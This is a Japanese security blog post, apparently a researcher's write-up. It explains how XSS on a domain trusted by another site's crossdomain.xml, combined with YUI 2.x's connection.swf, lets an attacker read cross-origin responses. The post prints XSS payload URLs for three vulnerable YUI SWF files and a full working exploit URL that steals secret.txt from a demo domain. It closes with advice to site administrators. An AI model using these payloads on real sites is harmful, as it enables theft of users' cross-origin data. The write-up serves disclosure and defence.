2015/05/05

connection.swf + XSS によるクロスオリジンの情報奪取

Flashを使った、ちょっと変わった情報奪取手法を紹介します。

この手法、以前から条件によっては攻撃が可能になる場合があるだろうと想像していたんですが、なかなか実例にぶつからず、2013年に開催されたサイボウズの脆弱性発見コンテスト「cybozu.com Security Challenge」で初めて本当に動作するものを発見しました。

実は既に「SECCON 2013 全国大会」でも一部詳細を発表しています。スライドの15ページの辺りから書いてある件です。
http://www.slideshare.net/masatokinugawa/cybozu-security-challenge/15

発表の時点ではサイボウズ側で修正されていなかったので、具体的な箇所を伏せていますが、今は修正されたので、具体的な箇所をあげながら説明したいと思います。

なお、この問題はFlash自体の脆弱性ではないので、今後も条件がそろえば問題が起こります。

攻撃の前提条件


ターゲットのドメインをhttp://app/とします。
ターゲットのドメインのcrossdomain.xmlallow-access-fromには、十分に信頼できるドメイン、http://trust/がリストされているとします。

この設定に致命的な間違いはありません。
しかし、特殊な状況では、appにある情報をtrustの脆弱性を経由して奪取できてしまいます。

特殊な状況とは、次のような条件がそろった場合です。

1. trustが、appcrossdomain.xmlallow-access-fromにリストされている (前述したこと)
2. trustにXSS脆弱性がある
3. trustconnection.swf(あるいはそれに準ずる機能を持つswf)がある


突然出てきた、connection.swfとは何でしょうか。

connection.swfを使った攻撃方法


connection.swfはYUI Library 2.x に同梱されている、クロスドメインで情報を取得するためのswfファイルです。

このswfファイルが具体的に何をやっているのか、ソースコードをみてみます。

yui2/connection.as at master · yui/yui2 · GitHub
https://github.com/yui/yui2/blob/master/src/connection/as/com/yui/util/connection.as

26行目のExternalInterface.addCallback()send()というFlashの関数をJavaScript経由で呼び出せるようにしています。
ExternalInterface.addCallback("send", send);
これで、<embed id=flash src=connection.swf></embed>等とすると、ロードしているページがFlashファイルがあるオリジンと同じなら、JavaScriptからflash.send()とすれば、Flashの関数を呼び出せるようになります。

Flash側のsend()をみてみます。
public function send(uri:String, cb:Object, id:uint):void {
    var loader:URLLoader = new URLLoader(),
        request:URLRequest = new URLRequest(uri),
        timer:Timer,
        prop:String;

    for (prop in cb) {
        switch (prop) {
            case "method":
                if(cb.method === 'POST') {
                    request.method = URLRequestMethod.POST;
                }
                break;
            case "data":
                request.data = cb.data;
                break;
            case "timeout":
                timer = new Timer(cb.timeout, 1);
                break;
        }
    }

    loaderMap[id] = { c:loader, readyState: 0, t:timer };
    defineListeners(id, timer);
    addListeners(loader, timer);
    loader.load(request);
    start(id);

    if (timer) {
        timer.start();
    }
}
引数から、URL、HTTP method、POSTデータなどを渡せるのがわかります。
ここで指定したURLに、57行目のloader.load(request);を通じてGET/POSTを送れるようになっています。
指定したURLのロードに成功した場合、success()という関数がイベントリスナを経由して実行されます。

success()をみてみます。
private function success(e:Event, id:uint, timer:Timer):void {
    var data:String = encodeURI(e.target.data),
        response:Object = {
            tId: id,
            statusText: 'xdr:success',
            responseText: data
        };

    loaderMap[id].readyState = 4;

    if (timer && timer.running) {
        timer.stop();
    }

    ExternalInterface.call(handler, response);
    destroy(id);
}
先頭の方にあるe.target.dataに、指定したURLから返ってくるレスポンスbodyが入ります。
これが最終的に後半の方にある ExternalInterface.call(handler, response);responseの部分に渡ります。

ExternalInterface.call()は第1引数がJavaScriptの関数、第2引数がその関数に渡す引数になります。

第1引数にある、handlerは定数で、コード全体のはじめの方で定義されています。
private var handler:String = 'YAHOO.util.Connect.handleXdrResponse';
この関数の引数に、レスポンスbodyの中身が渡されるということです。


まとめると、同一オリジン(http://trust/内)のページにconnection.swfをロードして、Flashから読み取り可能なURLを指定してflash.send()を呼び出せば、レスポンスbodyがJavaScriptの引数に入るような仕組みになっている、というかんじです。

ここで注目すべきは、別ドメインのアプリケーション(app)のcrossdomain.xmlallow-access-fromconnection.swfが設置されたドメイン(trust)がリストされていれば、appのレスポンスbodyでさえもtrustから取得できるということです。

ただそれは、あくまでconnection.swfを動かせればの話です。connection.swfを動かすようなページを人様のドメインで普通は勝手に作れません。
悪いことをしたいですが、どうしましょう?そんなときに使えるのがXSSですね!trust内にあるXSSを探して、XSSを使ってconnection.swfをロードしてしまえばいいんです。

XSSを探すのが大変ですか?朗報です!connection.swfはYUI Library 2.xに同梱されていると冒頭で書きましたが、都合がいいことに、古いYUI Library 2.xなら、XSS脆弱性を持ったswfファイルがもれなく3つ(CVE-2012-5881,CVE-2012-5882,CVE-2012-5883)ついてくるんです!アドバイザリが以下にあります。

Security Bulletin: Addressing a Vulnerability in YUI 2.4.0 through YUI 2.9.0
http://yuilibrary.com/support/20121030-vulnerability/

脆弱性は以下の部分にあります。すべてExternalInterface.call()のバグです。


charts.swf
http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1)}//

uploader.swf
http://yui.vulnerabledoma.in/uploader/assets/uploader.swf?YUISwfId=\"))}catch(e){alert(1)}//

swfstore.swf
http://yui.vulnerabledoma.in/swfstore/swfstore.swf?YUIBridgeCallback=a&YUISwfId=\"))}catch(e){alert(1)}//


ここまでで攻撃に使うパーツの説明は全て終わりました!

実際に動作する例


最後にこれらを使って、実際に動作する例をお見せしましょう。


ターゲットのアプリのドメインを xdtestapp.vulnerabledoma.in
crossdomain.xmlで信頼するドメインをyui.vulnerabledoma.inとし、以下のようにアプリ側のcrossdomain.xmlを指定します。

http://xdtestapp.vulnerabledoma.in/crossdomain.xml
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only" />
<allow-access-from domain="yui.vulnerabledoma.in" />
</cross-domain-policy>

yui.vulnerabledoma.inには、YUI 2.xのconnection.swfとXSS脆弱性があるとします。

さあ、この条件で、yui.vulnerabledoma.inconnection.swf + XSS から、アプリのドメインの情報を取得する、というのをやります!

以下にアクセスして、"go"ボタンをクリックすると、アプリのドメインに置かれたsecret.txtの中身をアラートします。Chromeで動作することを確認しています。

http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"}%29%29%29}catch%28e%29{document.body.innerHTML=unescape(location.hash.substring(1))}//&#%3Cembed%20name%3D%22flash%22%20src%3D%22http%3A%2F%2Fyui.vulnerabledoma.in%2Fconnection%2Fconnection.swf%22%20type%3D%22application%2Fx-shockwave-flash%22%3E%3C%2Fembed%3E%0A%3Ctextarea%20id%3D%22textarea%22%3E%0AYAHOO%3D%7B%7D%3B%0AYAHOO.util%3D%7B%7D%3B%0AYAHOO.util.Connect%3D%7B%7D%3B%0AYAHOO.util.Connect.handleXdrResponse%3Dfunction%28x%29%7B%0A%09if%28typeof%20x.responseText%21%3D%27undefined%27%29%7B%0A%09%09alert%28decodeURIComponent%28x.responseText%29%29%3B%0A%09%7D%0A%7D%0Aflash.send%28%22http%3A%2F%2Fxdtestapp.vulnerabledoma.in%2Fsecret.txt%22%2C%7Bmethod%3A%22GET%22%7D%2C0%29%0A%3C%2Ftextarea%3E%0A%3Cbutton%20onclick%3Deval%28document.getElementById%28%22textarea%22%29.value%29%3Ego%3C%2Fbutton%3E


うまくいけば以下の画像のようになるはずです。(クリックで拡大)



URL内に全てのコードをぶち込んでいるので文字の迫力が凄いですが、実体は以下の部分でただlocation.hash(#以降)の文字列をURLデコードしてページ内にHTMLを挿入しているだけです。
document.body.innerHTML=unescape(location.hash.substring(1)) 
ページ内に挿入されるHTMLである、#以降の部分をデコードすると以下のようになります。
<embed name="flash" src="http://yui.vulnerabledoma.in/connection/connection.swf" type="application/x-shockwave-flash"></embed>
<textarea id="textarea">
YAHOO={};
YAHOO.util={};
YAHOO.util.Connect={};
YAHOO.util.Connect.handleXdrResponse=function(x){
    if(typeof x.responseText!='undefined'){
        alert(decodeURIComponent(x.responseText));
    }
}
flash.send("http://xdtestapp.vulnerabledoma.in/secret.txt",{method:"GET"},0)
</textarea>
<button onclick=eval(document.getElementById("textarea").value)>go</button>
ここでは、connection.swfembedタグでロードし、JavaScriptの関数、YAHOO.util.Connect.handleXdrResponseを自分の好きな処理をするように書き換えることで、ExternalInterface.call(handler, response);でレスポンスbodyが渡った時に、これをalert()するようにしています。最後に、取得したいURLを引数にセットしてflash.send()を呼び出すことで、alertダイアログにsecret.txtのレスポンスbodyが表示されます。

サイボウズのケースでも、アプリのドメインのcrossdomain.xmlでYUIのファイルが存在する別ドメインをリストしていたため、connection.swf+ XSS のコンボで、アプリのドメインの情報を取り出すことができてしまっていました。

はい、以上です。Flashを使った少し変わった情報奪取手法を紹介しました!
この手法、普通は自分のアプリには影響のない、別ドメインの脆弱性をうまく使うことで、自分のアプリまで攻撃されてしまうというのがとても面白いと思います。

この問題から言えることは、crossdomain.xmlallow-access-fromにどこかのドメインを書くということは、書いたドメインが信頼できるのは当然のことで、さらに、都合の悪いFlashがないことまで保証できない限り、安全とは言い切れないということです。管理下にないサイトだったらそこまでの検証の仕様がないわけで、管理下にないサイトをここに追加すること自体がかなり危なっかしいことと言えると思います。
このような問題も起こるので、サイト管理者は、一度crossdomain.xmlの設定を見直されることをお勧めします。もはや使っていないけど放置したままというところも多いのではないでしょうか。